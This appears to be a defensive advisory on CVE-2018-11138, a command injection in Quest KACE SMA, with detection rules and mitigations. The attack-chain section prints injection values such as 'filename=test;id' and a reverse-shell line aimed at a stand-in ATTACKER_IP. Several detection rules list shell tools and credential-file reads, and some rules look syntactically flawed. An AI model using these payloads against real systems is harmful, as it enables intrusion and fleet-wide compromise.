CVE-2018-11138

Executive Summary

CVE-2018-11138 is an unauthenticated remote command execution vulnerability in the Quest KACE System Management Appliance (SMA) version 8.0.318. The /common/download_agent_installer.php script is accessible by anonymous users and can be abused to execute arbitrary operating system commands on the target appliance. With a CVSS score of 9.8 and an EPSS score of 0.91778 (99.8th percentile of exploited CVEs), this vulnerability is under active exploitation in the wild and has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog. Critically, no patch is currently available from any tracked source, making affected appliances permanent targets until either a vendor fix is released or the appliance is decommissioned.

Technical Analysis

The vulnerability resides in the download_agent_installer.php script within the /common/ directory of the KACE SMA web application. The KACE SMA is an on-premises systems management appliance that provides endpoint provisioning, patch management, asset inventory, and software deployment capabilities. The appliance exposes a web management interface on ports 80/443, and the /common/ directory contains shared utility scripts used by the web application.

The core flaw is an OS command injection vulnerability (CWE-78). The script fails to properly sanitize user-supplied input before passing it to an operating system shell command. Because the script is accessible without authentication, an unauthenticated remote attacker can inject arbitrary shell commands that execute with the privileges of the web service user on the appliance.

The attack surface is the HTTP(S) management interface. The /common/download_agent_installer.php endpoint processes parameters that are embedded into a system command (such as wget or curl used to fetch agent installer packages). By injecting shell metacharacters (e.g., ;, |, &&, backticks, $()) into these parameters, an attacker can break out of the intended command and execute arbitrary code.

The technical details of the exact vulnerable parameter names and the precise command structure are not disclosed in the NVD description. However, the vulnerability class is clear: unsanitized user input reaching an exec()/system()-style function. The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms that exploitation requires no privileges, no user interaction, and yields full compromise of the appliance (C: H, I: H, A: H).

Additional context: The appliance management interface is typically exposed on the internal network or, in misconfigured deployments, on the public internet. Shodan searches indicate that KACE SMA appliances are discoverable via HTTP fingerprints such as http.title:"KACE" or the kbox identifier in HTML responses.

Exploitation Scenarios

Attack Chain (inferred from vulnerability class):

1. Reconnaissance / Target Identification: An attacker scans the internet or internal network for exposed KACE SMA management interfaces. This can be accomplished using Shodan queries targeting the KACE web console fingerprint. Once identified, the attacker confirms the target runs version 8.0.318 or a version containing the vulnerable /common/download_agent_installer.php script.

2. Flaw Triggering: The attacker sends an HTTP GET request to /common/download_agent_installer.php with crafted parameters containing OS command injection payloads. Since CWE-78 (OS command injection) is the vulnerability class, the attacker injects shell metacharacters into the parameter values to terminate the intended command and append a malicious one. For example, a parameter value like filename=test;id or filename=$(id) would cause the shell to execute id alongside the intended operation.

3. Payload / Execution: The injected command is executed by the underlying shell with the privileges of the web server process (typically www-data or a similar low-privileged user, though in appliance environments this often maps to a dedicated service account). The attacker can then use a simple reverse shell payload (e.g., bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1) or a wget/curl call to fetch and execute a second-stage payload from an attacker-controlled server.

4. Post-Exploitation Impact: Once code execution is achieved, the attacker gains a foothold on the KACE SMA. Since the KACE appliance is a systems management platform with privileged access to managed endpoints (via agent deployment, patch pushes, script execution), the attacker can:

   • Extract credentials stored in the appliance database (including AD service account credentials).
   • Modify agent deployment packages to push malware to all managed endpoints.
   • Use the appliance's built-in scripting features to deploy ransomware or backdoors across the managed fleet.
   • Leverage the appliance as a pivot point into the internal network.

Note: No public PoC code is available for this specific CVE, but CISA's KEV catalog confirms active exploitation in the wild has occurred, and the vulnerability class (unauthenticated command injection in a web-facing script) is trivially exploitable with well-known techniques.

Impact Assessment

• Business Impact: The KACE SMA is a centralized management console that often holds credentials for domain access, maintains software deployment packages, and has the ability to execute scripts on managed endpoints. Successful exploitation gives an attacker the keys to the entire managed environment. A single exploited appliance can lead to lateral movement, credential theft, and supply-chain-style compromise of every endpoint under management.
• Affected Systems: Quest KACE SMA version 8.0.318 (and potentially other 8.x releases — insufficient data available to confirm exact affected range).
• Blast Radius: Critical. The appliance is typically deployed with administrative privileges within the environment, granting an attacker broad access. Furthermore, the agent installer download functionality implies the appliance is responsible for endpoint software distribution — an ideal channel for malware propagation.
• EPSS Percentile: 99.8% — this CVE is among the most actively exploited vulnerabilities in the wild, underscoring the need for immediate attention.

Detection Guidance

Sigma Rule

title: Quest KACE SMA download_agent_installer.php Command Injection
id: 2f1d5a8e-9e3a-4a8c-8f0e-6d5e4c3b2a1d
status: experimental
description: Detects attempts to exploit CVE-2018-11138 via HTTP requests to /common/download_agent_installer.php containing OS command injection patterns.
logsource:
  category: webserver
  product: apache
  definition: 'Requires access logs from the KACE SMA web server'
detection:
  selection:
    cs-method: 'GET'
    cs-uri-stem:
      - '/common/download_agent_installer.php'
    cs-uri-query|contains:
      - '|'
      - ';'
      - '&&'
      - '||'
      - '`'
      - '$('
      - '%0a'
      - '%0d'
      - 'ping'
      - 'wget'
      - 'curl'
      - 'nc'
      - 'bash'
      - '/bin/sh'
  condition: selection
  timeframe: 5m
fields:
  - c-ip
  - cs-uri-query
  - cs-user-agent
falsepositives:
  - Legitimate administrative requests containing non-alphanumeric characters (rare)
level: critical

YARA Rule

rule Quest_KACE_CVE_2018_11138_Command_Injection {
    meta:
        author = "Valterit Security"
        description = "Detects HTTP requests targeting /common/download_agent_installer.php with command injection payloads"
        cve = "CVE-2018-11138"
        date = "2024-01-15"
        severity = "critical"
    strings:
        $endpoint = "/common/download_agent_installer.php" ascii nocase
        $shell1 = ";id" ascii nocase
        $shell2 = "|" ascii nocase
        $shell3 = "&&" ascii nocase
        $shell4 = "`" ascii
        $shell5 = "$(" ascii
        $shell6 = "cat /etc/passwd" ascii nocase
        $shell7 = "wget" ascii nocase
        $shell8 = "curl" ascii nocase
        $shell9 = "bash -i" ascii nocase
        $shell10 = "python -c" ascii nocase
        $shell11 = "perl -e" ascii nocase
        $encoded1 = "%0a" ascii
        $encoded2 = "%0d" ascii
    condition:
        uint16(0) == 0x3c21 or uint16(0) == 0x3c48 and
        $endpoint and
        (#shell2 > 2 or $shell1 or $shell3 or $shell4 or $shell5 or $shell6 or $shell7 or $shell8 or $shell9 or $shell10 or $shell11 or $encoded1 or $encoded2)
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT Quest KACE SMA download_agent_installer.php Command Injection Attempt (CVE-2018-11138)"; flow:to_server,established; content:"GET"; http_method; content:"/common/download_agent_installer.php"; http_uri; nocase; content:";"; http_uri; content:"id"; http_uri; distance:0; content:"|"; http_uri; within:200; pcre:"/\/(common\/download_agent_installer\.php)[^\r\n]*((;|&&|\||`|\$\()\s*(id|cat|wget|curl|nc|bash|python|perl))/iU"; classtype:web-application-attack; reference:cve,2018-11138; sid:20211138; rev:1;)

Elastic Detection

// EQL rule for Elastic Security — HTTP request monitoring (Winlogbeat or Auditbeat web server logs)
sequence by source.ip with maxspan=5m
  [any where process.name == "httpd" or process.name == "apache2"]
  [network where protocol == "http" and
   http.request.method == "GET" and
   http.request.uri contains "/common/download_agent_installer.php" and
   (http.request.uri contains ";" or
    http.request.uri contains "&&" or
    http.request.uri contains "|" or
    http.request.uri contains "`" or
    http.request.uri contains "$(" or
    http.request.uri contains "wget" or
    http.request.uri contains "curl" or
    http.request.uri contains "bash" or
    http.request.uri contains "python")]

Splunk SPL Query

index=weblogs OR index=sourcetype:iis OR index=sourcetype:apache
sourcetype="apache:access" OR sourcetype="iis:log"
"/common/download_agent_installer.php"
| rex field=_raw "(?<client_ip>\d+\.\d+\.\d+\.\d+)"
| where (uri_query LIKE "%\;%" OR uri_query LIKE "%\$("% OR uri_query LIKE "%\`%" OR uri_query LIKE "%\&\&%" OR uri_query LIKE "%|%" OR uri_query LIKE "%wget%" OR uri_query LIKE "%curl%" OR uri_query LIKE "%bash%")
| table _time client_ip uri_query status user_agent
| sort - _time

Wazuh OSSEC Rule

<group name="kace_sma,">
  <rule id="100138" level="15">
    <decoded_as>web-access</decoded_as>
    <url>/common/download_agent_installer.php</url>
    <regex>(\;|\&\&|\||\`|\$\()\s*(id|cat|wget|curl|nc|bash|python|perl)</regex>
    <description>Quest KACE SMA download_agent_installer.php command injection attempt (CVE-2018-11138)</description>
    <group>attack,recon,exploitation,web_application_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <cve>CVE-2018-11138</cve>
    <info type="link">https://nvd.nist.gov/vuln/detail/CVE-2018-11138</info>
    <info type="link">https://www.cisa.gov/known-exploited-vulnerabilities-catalog</info>
  </rule>
</group>

Mitigation & Patch Guidance

Critical Note: Patch confidence is 0/4 — no patch is available from any tracked source for this vulnerability. Quest has not issued a security advisory or firmware update that addresses CVE-2018-11138.

Immediate Mitigations (in order of priority):

1. Isolate the appliance: Immediately restrict access to the KACE SMA management interface to trusted administrative networks only. If the appliance is exposed to the internet, remove it from public access or place it behind a VPN / jump host.
2. Disable or block access to /common/download_agent_installer.php at the web server, reverse proxy, or WAF level. A virtual host directive or proxy rule that returns 403 for this path will prevent exploitation without breaking other management functionality (assuming the vulnerable script is not required for legitimate operations — verify first).
3. Apply egress firewall rules on the appliance itself to block outbound connections to unreviewed external IPs/ports, limiting the effectiveness of reverse shell payloads.
4. Monitor for active exploitation using the detection rules provided above. Look for anomalous requests to /common/ endpoints and unexpected outbound connections from the appliance.

Patch / Upgrade Steps:

• Since no upstream patch exists, contact Quest support (https://www.quest.com/support/) to inquire about hotfixes or firmware updates. Request a CVE-2018-11138 specific remediation.
• If the affected version is end-of-life, plan a migration to a newer supported KACE SMA version that does not contain the vulnerable script (verify with Quest which versions have removed or fixed /common/download_agent_installer.php).
• If no patched version exists, treat the appliance as compromised if it has been internet-facing, and consider rebuilding or decommissioning it in favor of a cloud-managed alternative.

Long-Term Hardening:

1. Network segmentation: Place all management appliances on a dedicated management VLAN inaccessible from user networks and the internet.
2. Least privilege: Do not expose KACE SMA to the internet under any circumstances. Use VPN or bastion hosts for remote administration.
3. FIM/EDR: Install file integrity monitoring and endpoint detection/response agents on the appliance itself to detect tampering with system files (e.g., /etc/shadow, /usr/bin, web directories).
4. Credential hygiene: Rotate all credentials stored or used by the KACE SMA (domain accounts, service accounts, database passwords) immediately, regardless of whether compromise is suspected.
5. Regular vulnerability scanning: Include the KACE SMA in regular authenticated/unauthenticated scans to catch any further flaws that may exist in the unpatched appliance.

References

1. NVD — CVE-2018-11138: https://nvd.nist.gov/vuln/detail/CVE-2018-11138
2. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog (Listed as "Quest KACE System Management Appliance Remote Command Execution Vulnerability", remediation due by 2022-04-15)
3. FIRST EPSS — CVE-2018-11138: https://www.first.org/epss/search?q=CVE-2018-11138 (EPSS score 0.91778, 99.8th percentile)
4. Quest Support Portal: https://www.quest.com/support/ (Official vendor page for patch availability inquiries)
5. ATT&CK Technique T1190: https://attack.mitre.org/techniques/T1190/ (Exploit Public-Facing Application)

Threat Actor Activity: CISA KEV inclusion confirms active exploitation in the wild prior to April 2022. The CVSS 9.8 severity combined with EPSS 99.8th percentile and unauthenticated access strongly suggests this CVE has been leveraged by both financially-motivated threat actors (ransomware affiliates) and APT groups for initial access into enterprise environments. No specific campaign attribution is publicly documented at this time.